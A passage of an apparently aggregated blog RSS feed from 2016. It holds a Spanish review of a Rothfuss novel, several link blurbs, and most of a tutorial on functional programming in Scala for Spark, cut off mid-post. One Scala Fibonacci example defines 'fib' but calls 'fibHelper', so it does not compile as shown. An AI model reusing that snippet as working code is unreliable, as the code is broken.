row for each client_id in a 1% sample of clients.  However, the Cross Sectional
dataset simplifies your analysis …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Mon, 14 Nov 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/announcing-the-cross-sectional-dataset.html</guid></item><item><title>El Temor de un Hombre Sabio</title><link>https://danielpecos.com/2016/11/14/el-temor-de-un-hombre-sabio/</link><description>&lt;p&gt;&lt;a href="https://www.amazon.es/Temor-Hombre-Sabio-BEST-SELLER/dp/8499899617%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D8499899617"&gt;&lt;img alt="El Temor de un Hombre Sabio" class="alignleft size-full" height="532" src="https://danielpecos.com/assets/2017/10/El-Temor-de-un-Hombre-Sabio.jpg" width="350" /&gt;&lt;/a&gt;El ex profesor de lengua y literatura inglesa Patrick Rothfuss presenta &lt;strong&gt;El Temor de un Hombre Sabio&lt;/strong&gt; la continuación del libro &lt;strong&gt;&lt;a href="https://biblo.es/el-nombre-del-viento/"&gt;El Nombre del Viento&lt;/a&gt;&lt;/strong&gt;, incluido en la &lt;strong&gt;Crónica el Asesino de Reyes&lt;/strong&gt;. Narra la historia de un joven prodigio que todos dan por muerto, ahora con nuevo nombre en una aldea extraviada, trata de rehacer y continuar con su vida. Los recuerdos sobre interesantes batallas, alegrías y penurias explican porque la arrogancia y seguridad en la actitud de Kvothe, “Quizás hayas oído hablar de mí”.&lt;/p&gt;
&lt;h3 id="kvothe-vuelve-con-heroísmo-y-penurias-en-el-temor-de-un-hombre-sabio"&gt;Kvothe vuelve con heroísmo y penurias en “El Temor de un Hombre Sabio”&lt;/h3&gt;
&lt;p&gt;Kvothe sigue siendo el héroe, trotamundos y ladrón acostumbrado, su pasado lo persigue a través de sus recuerdos. No puede culminar sus estudios, recorre los paisajes de &lt;em&gt;Severen&lt;/em&gt;, allí se vincula a la política de la sociedad cortesana. Una interesante, pero peligrosa mujer aparece, &lt;em&gt;Felurian&lt;/em&gt;, quien logra seducirlo con mucha sensualidad a través de sus encantos. Tanto así que la acompaña sin pensarlo al &lt;em&gt;mundo de los Fatas&lt;/em&gt; ese del cual nadie regresa, creando muchas circunstancias amorosas en la vida del joven.&lt;/p&gt;
&lt;p&gt;Poco a poco se vuelve buen asesino, cualidad incondicional para lograr su venganza contra los &lt;em&gt;Chandrian&lt;/em&gt;. En &lt;strong&gt;&lt;em&gt;El Temor de un Hombre Sabio&lt;/em&gt;&lt;/strong&gt; Kvothe cuenta con la compañía de Tempi, un mercenario Adem. Aprende el legendario &lt;em&gt;ketan&lt;/em&gt;, en esta oportunidad se suman enseñanzas y misiones que fortalecen sus conocimientos en combate.&lt;/p&gt;
&lt;h3 id="el-hombre-había-desaparecido-el-mito-había-quedado"&gt;“El hombre había desaparecido, el mito había quedado”&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;El Temor de un Hombre Sabio&lt;/em&gt;&lt;/strong&gt; empieza donde termina** &lt;a href="https://biblo.es/el-nombre-del-viento/"&gt;El Nombre del Viento&lt;/a&gt;**. Mundos de tinieblas y oscuridad, donde Kvothe se ve maduro, argumenta sus decisiones, posee dinero, empieza a asumir responsabilidades en la espontánea vida que ha llevado. Aparecen nuevamente sus amigos, se reencuentra con todos ellos y nacen nuevas tertulias y anécdotas que comprueban porque hay rebeldía, irreverencia a los lujos y fuerte lucha contra la pobreza en la vida del trotamundos.&lt;/p&gt;
&lt;p&gt;Es un nuevo joven, rebelde, pero comienza a comprender la responsabilidad de su poder, está más enfocado en la venganza, se mantiene bajo perfil ahora planea sus acciones. Sin embargo aparecen nuevas cadenas que romper y decisiones que tomar para este casi adulto.&lt;/p&gt;
&lt;p&gt;“He recorrido de noche caminos de los que otros no se atreven a hablar ni siquiera de día”. En **El Temor de un Hombre Sabio **la arrogancia es fiel compañera de Kvothe, el enemigo interno resulta en ocasiones más poderoso que la voluntad, la cualidad de héroe se resalta y comprueba con las habilidades adquiridas desde niño hasta el presente.&lt;/p&gt;
&lt;p&gt;**El Temor de un Hombre Sabio **es la obra de ficción fantasía que trasmite realidad en un mundo lleno de magia, dioses, clasismo y la ideología Teccam, creíble y cierta para Kvothe. El destino depara mundos nuevos, costumbres sociales diferentes y distintos sistemas monetarios al cual debe adaptarse para poder pasar inadvertido ante los problemas. La premisa de venganza se mantiene y el miedo no es la mejor opción. “Todo hombre sabio teme tres cosas: la tormenta en el mar, la noche sin luna y la ira de un hombre amable”.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Mon, 14 Nov 2016 08:00:46 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/14/el-temor-de-un-hombre-sabio/</guid></item><item><title>Highlighting the release of Beyond jQuery - A book by Ray Nicholus</title><link>http://www.widen.com/blog/highlighting-the-release-of-beyond-jquery-a-book-by-ray-nicholus</link><description>I was interviewed by Widen Enterprises regarding my book, Beyond jQuery. This is the accompanying article which includes a quote from the director of software development.</description><author>Train of Thought</author><pubDate>Mon, 14 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://www.widen.com/blog/highlighting-the-release-of-beyond-jquery-a-book-by-ray-nicholus</guid></item><item><title>Programming Poetry</title><link>http://programmingpoetry.com</link><description>Express your coding thoughts as a Haiku, Sonnet, or even a Cinquain.</description><author>Train of Thought</author><pubDate>Mon, 14 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://programmingpoetry.com</guid></item><item><title>So you want to sell stuff online</title><link>https://yasha.solutions/so-you-want-to-sell-stuff-online/</link><description>Selling online has the highest profit margin.
It’s also one of the cheapest way to sell direct to consumer at scale.
That’s also why it is growing rapidly over the past 5 years, and it will keep growing as the world is going increasingly digital.
So, if you want to make the jump to ecommerce and sell online, let’s have a look at what you want to consider before you build anything.</description><author>Yasha Solutions</author><pubDate>Mon, 14 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/so-you-want-to-sell-stuff-online/</guid></item><item><title>Ourofuros</title><link>http://michaelhoney.com/writing/2016/11/13/ourofuros</link><description>&lt;figure class="
              sqs-block-image-figure
              intrinsic
            "&gt;
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                &lt;img alt="" height="900" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1479019982390-KWJXMW7ASER8RK1UYRHX/ourofuros-12.png?format=1000w" width="1440" /&gt;

            
          
        
          
        

        
      
        &lt;/figure&gt;</description><author>Michael Honey: Writing - michaelhoney.com</author><pubDate>Sun, 13 Nov 2016 08:53:25 GMT</pubDate><guid isPermaLink="true">http://michaelhoney.com/writing/2016/11/13/ourofuros</guid></item><item><title>Linda Liukas: Rails Girls Founder &amp;amp; Author of Hello Ruby</title><link>https://solomon.io/linda-liukas-rails-girls-founder-author-of-hello-ruby/</link><description>Linda Liukas thinks is the author and illustrator behind Hello Ruby, a series of children’s books about technology.</description><author>Sam Solomon</author><pubDate>Sun, 13 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/linda-liukas-rails-girls-founder-author-of-hello-ruby/</guid></item><item><title>Mind Map Creators On Unix</title><link>https://venam.net/blog/unix/2016/11/13/mind-maps.html</link><description>Mind maps are, from wikipedia, A mind map is a diagram used to visually organize information. A mind map is hierarchical and shows relationships among pieces of the whole. It is often created around a single concept, drawn as an image in the center of a blank page, to which associated representations of ideas such as images, words and parts of words are added. Major ideas are connected directly to the central concept, and other ideas branch out from those.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 12 Nov 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2016/11/13/mind-maps.html</guid></item><item><title>How We Run Infrastructure at Zapier</title><link>https://james-carr.org/posts/how-we-run-infrastructure-at-zapier/</link><description>I think I am long overdue for writing a post about how we run infrastructure at Zapier. While I admit our setup might be far from perfect, I feel it works well and has served us as we scale the business out. I am also proud of how much we have been able to do with such a small team!
Philosophy Since the beginning, we’ve been big on maintaining a philosophy of “Immutable Infrastructure” and treating our instances as cattle, not pets.</description><author>James Carr</author><pubDate>Sat, 12 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://james-carr.org/posts/how-we-run-infrastructure-at-zapier/</guid></item><item><title>Functional Programming and Big Data</title><link>https://ntietz.com/blog/functional-programming-and-big-data/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Update: I wrote this while preparing a talk for the &lt;a href="https://www.meetup.com/Columbus-Functional-Programmers/"&gt;Columbus Functional Programmers meetup&lt;/a&gt;. You can find the talk &lt;a href="https://www.youtube.com/watch?v=kcf1873lDQw&amp;amp;feature=youtu.be"&gt;on YouTube&lt;/a&gt;. It has more humor than these words, but then you'd have to listen to my voice.&lt;/p&gt;
&lt;p&gt;This post is a long one, so here’s a brief roadmap. We’ll start with a quick &lt;a href="https://ntietz.com/blog/functional-programming-and-big-data/#intro-to-functional-programming"&gt;introduction to functional programming&lt;/a&gt;. Then you’ll get a quick &lt;a href="https://ntietz.com/blog/functional-programming-and-big-data/#why-is-fp-in-big-data"&gt;introduction to Apache Spark&lt;/a&gt; and the history of big data. After that, we will get to a hands on &lt;a href="https://ntietz.com/blog/functional-programming-and-big-data/#hands-on-with-spark"&gt;demo of Spark&lt;/a&gt;. Okay, are you with me? Let’s go!&lt;/p&gt;
&lt;h1 id="intro-to-functional-programming"&gt;Intro to Functional Programming&lt;/h1&gt;
&lt;h2 id="motivation"&gt;Motivation&lt;/h2&gt;
&lt;p&gt;First of all, why should you even care about functional programming?&lt;/p&gt;
&lt;p&gt;Simply put, functional programming matters because it is a big part of the future of the software industry. The industry is buzzing about functional programming (FP). Elements of FP are working their way into most mainstream languages. Even C++ and Java, stalwarts of the procedural object-oriented camp, have adopted lambda functions. It is less common to see FP adopted wholesale, but functional languages like Scala, F#, and Clojure are gaining in popularity. Although uncommon, companies are even &lt;a href="https://www.wired.com/2015/09/facebooks-new-anti-spam-system-hints-future-coding/"&gt;using Haskell in production systems&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You should care about functional programming even if you never use it in production (although, I suspect you will). Functional programming gives you a completely different way of thinking about problems and is a good tool in any programmer's toolbelt. Of course, getting this other perspective comes with a price: FP usually takes a significant investment to learn and to learn well.&lt;/p&gt;
&lt;h2 id="fluffy-abstract-explanation"&gt;Fluffy Abstract Explanation&lt;/h2&gt;
&lt;p&gt;So, with the benefits in mind, let's tackle the first question: what &lt;em&gt;is&lt;/em&gt; functional programming? Wikipedia defines it as "a programming paradigm [...] that treats computation as evaluation of mathematical functions and avoids changing-state and mutable data". Let's break that down piece by piece:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;a programming paradigm&lt;/strong&gt; is a essentially a style of programming and the features it uses. Paradigms you'll hear about most frequently are: imperative; object-oriented; procedural; functional; declarative. There is often overlap between these, and it's mostly a way to classify languages and talk about them more easily.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;computation as evaluation of mathematical functions&lt;/strong&gt; means that instead of a "data recipe" where you have a set of instructions that you follow step by step, you describe with math what you expect as output based on what you provide as input. That is, you precisely describe the relationship between the set of all inputs and the set of permitted outputs of your function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;avoiding changing-state and mutable data&lt;/strong&gt; means that you can't say &lt;code&gt;x = 5&lt;/code&gt; and then later say &lt;code&gt;x = 10&lt;/code&gt;. When you set a value equal to something, it is equal forever and you can't change the state. If you create a list and you need to add a new element to it, you don't modify it in-place - you create a new list with the element added to it. This gives a few nice properties: you don't have to worry about concurrent accesses to data structures, since those are read-only; you don't have to worry about a function modifying data you pass in, since it can't; and it simplifies testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, in a functional programming language, you write code using functions that don't have side effects. Since we are arguably removing features from imperative languages (mutable data, side effects, etc.), we must also be adding features (or creating a very strange language). Here are a couple of features we will always have in functional languages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Higher order functions&lt;/strong&gt;: functions that can take functions as arguments, and can return functions as results. This makes it so you can do really cool things like writing your own control structures. We'll see examples of this in the next section, since it underpins most of functional programming.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lambda functions&lt;/strong&gt; are anonymous functions. They sometimes have restrictions in what they can do (for example, lambdas in Python cannot do everything lambdas in Haskell can do) but in principle, a lambda function is just an unnamed function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Algebraic datatypes&lt;/strong&gt; are composite types, most commonly product types (such as tuples or records) and sum types (such as union types). We will also see examples of these in the next section.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are a lot of other features that you see more in functional programming languages, but it is important to keep in mind that not all FP languages are Haskell, and you can do FP even if your language is technically in a different paradigm (for example, JS has a strong community building around doing FP, especially with the rise of frameworks like &lt;a href="https://facebook.github.io/react/"&gt;React&lt;/a&gt; and &lt;a href="https://github.com/reactjs/redux"&gt;Redux&lt;/a&gt; and libraries like &lt;a href="http://ramdajs.com/"&gt;Ramda&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id="that-made-no-sense-show-me-the-code"&gt;That made no sense, show me the code&lt;/h2&gt;
&lt;p&gt;Let's not pretend that that was perfectly clear. Unless you've actually done some functional programming, that explanation is likely abstract and not perfectly clear, so let's look at a few concrete examples. These will all be in Scala (it can show both imperative and functional styles, and it is the language used for Spark).&lt;/p&gt;
&lt;h3 id="hello-fibonacci"&gt;"Hello Fibonacci"&lt;/h3&gt;
&lt;p&gt;The canonical example for getting started with functional programming seems to be calculating the Fibonacci sequence. It's short and digestible and shows a little bit of the flavor (and avoids IO, which can be difficult in functional languages).&lt;/p&gt;
&lt;p&gt;n.b.: I'm assuming the user will &lt;em&gt;always&lt;/em&gt; pass in valid input, and we aren't concerned with error handling here. That's for another blog post.&lt;/p&gt;
&lt;p&gt;First, let's take a look at an imperative implementation:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;def &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;imperativeFibonacci&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;n&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int&lt;/span&gt;&lt;span&gt;): &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;var &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;a&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;var &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;b&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;var &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;index&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;while &lt;/span&gt;&lt;span&gt;(index &amp;lt; n) {
&lt;/span&gt;&lt;span&gt;    index += &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;next &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; a + b
&lt;/span&gt;&lt;span&gt;    a &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; b
&lt;/span&gt;&lt;span&gt;    b &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; next
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;  a
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is basically the version we all wrote when we were learning. It was kind of tricky to write, and a lot of that trickiness comes from the fact that when we look at the definition of the Fibonacci series &lt;a href="https://en.wikipedia.org/wiki/Fibonacci_number"&gt;on Wikipedia&lt;/a&gt;, it is not expressed as this kind of calculation. Wouldn't it be nice if we could write it in a way that's closer to how it's defined?&lt;/p&gt;
&lt;p&gt;We're in luck. Here is one way we could write a functional implementation:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;def &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;fibonacci&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;n&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int&lt;/span&gt;&lt;span&gt;): &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;match &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;case &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0 &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;case &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1 &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;case &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_ &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; fibonacci(n-&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;) + fibonacci(n-&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is much cleaner. It has two major problems, though: it will result in a stack overflow if we run with too high of an &lt;code&gt;n&lt;/code&gt; value, and it will be really slow for large &lt;code&gt;n&lt;/code&gt; (it's &lt;code&gt;O(2^n)&lt;/code&gt;, which makes kittens cry).&lt;/p&gt;
&lt;p&gt;Here's another functional approach which is still clean and avoids both of these problems:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;def &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;fibonacci&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;n&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int&lt;/span&gt;&lt;span&gt;): &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;def &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;fib&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;n&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;a&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;b&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int&lt;/span&gt;&lt;span&gt;): &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Int &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;match &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;case &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0 &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; a
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;case &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_ &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; fib(n-&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;, b, a+b)
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;  fibHelper(n, &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This one avoids stack overflows by using &lt;a href="https://en.wikipedia.org/wiki/Tail_call"&gt;tail calls&lt;/a&gt;, which are optimized by the Scala compiler and turned into loops. It also is more efficient, since it compiles down to something very similar to our imperative version above.&lt;/p&gt;
&lt;p&gt;What makes this better than the imperative approach? Truthfully, it isn't necessarily better. It &lt;em&gt;definitely&lt;/em&gt; is different, and having a different approach will benefit you.&lt;/p&gt;
&lt;h3 id="examples-lambdas-maps-folds"&gt;Examples (Lambdas, Maps, Folds)&lt;/h3&gt;
&lt;p&gt;Now we have seen a basic example, we should look at a more thorough, complete, and realistic example. This is obviously contrived, but it should give you the flavors of functional programming.&lt;/p&gt;
&lt;p&gt;Let's pretend that you're a professor and your program has a list of student records in it (containing name, id, and grade). First, let's define the datatype we are using:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;case class&lt;/span&gt;&lt;span style="color: #8ec07c;"&gt; Student&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;String&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;String&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;grade&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;Float&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you want to know who is failing your course so you can intervene and help them get a better grade. We need to find the students who are currently failing. As an imperative programmer, you might write something like this:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;def &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;getFailingStudents&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;roster&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Student&lt;/span&gt;&lt;span&gt;]): &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Student&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;var &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;disappointments &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Student&lt;/span&gt;&lt;span&gt;]()
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;for &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;student &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;&amp;lt;-&lt;/span&gt;&lt;span&gt; roster) {
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;if &lt;/span&gt;&lt;span&gt;(student.grade &amp;lt; &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;90.0&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span style="font-style: italic; color: #928374;"&gt;// we have high standards
&lt;/span&gt;&lt;span&gt;      disappointments :+= student
&lt;/span&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;  disappointments
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you also want to find the students who are passing, you will have to write nearly identical code. Let's see how we would do both of them in a functional style. I'm going to skip actually implementing the filter function and just show you how we do it with some functional constructs (higher order functions, lambda functions):&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;failingStudents &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; roster.filter(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; x.grade &amp;lt; &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;90.0&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;passingStudents &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; roster.filter(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; x.grade &amp;gt;= &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;90.0&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without higher order functions, we would not be able to define this kind of filter function. (We could hack it together using anonymous classes and overriding methods, like was done in Java for a long time, but that is ugly and very cumbersome; this is very clean.) The great thing about doing filters this way is we don't have to reimplement anything for passing students, we just use a different predicate.&lt;/p&gt;
&lt;p&gt;Now let's compute the average grade of your students. Again, first imperative...&lt;/p&gt;
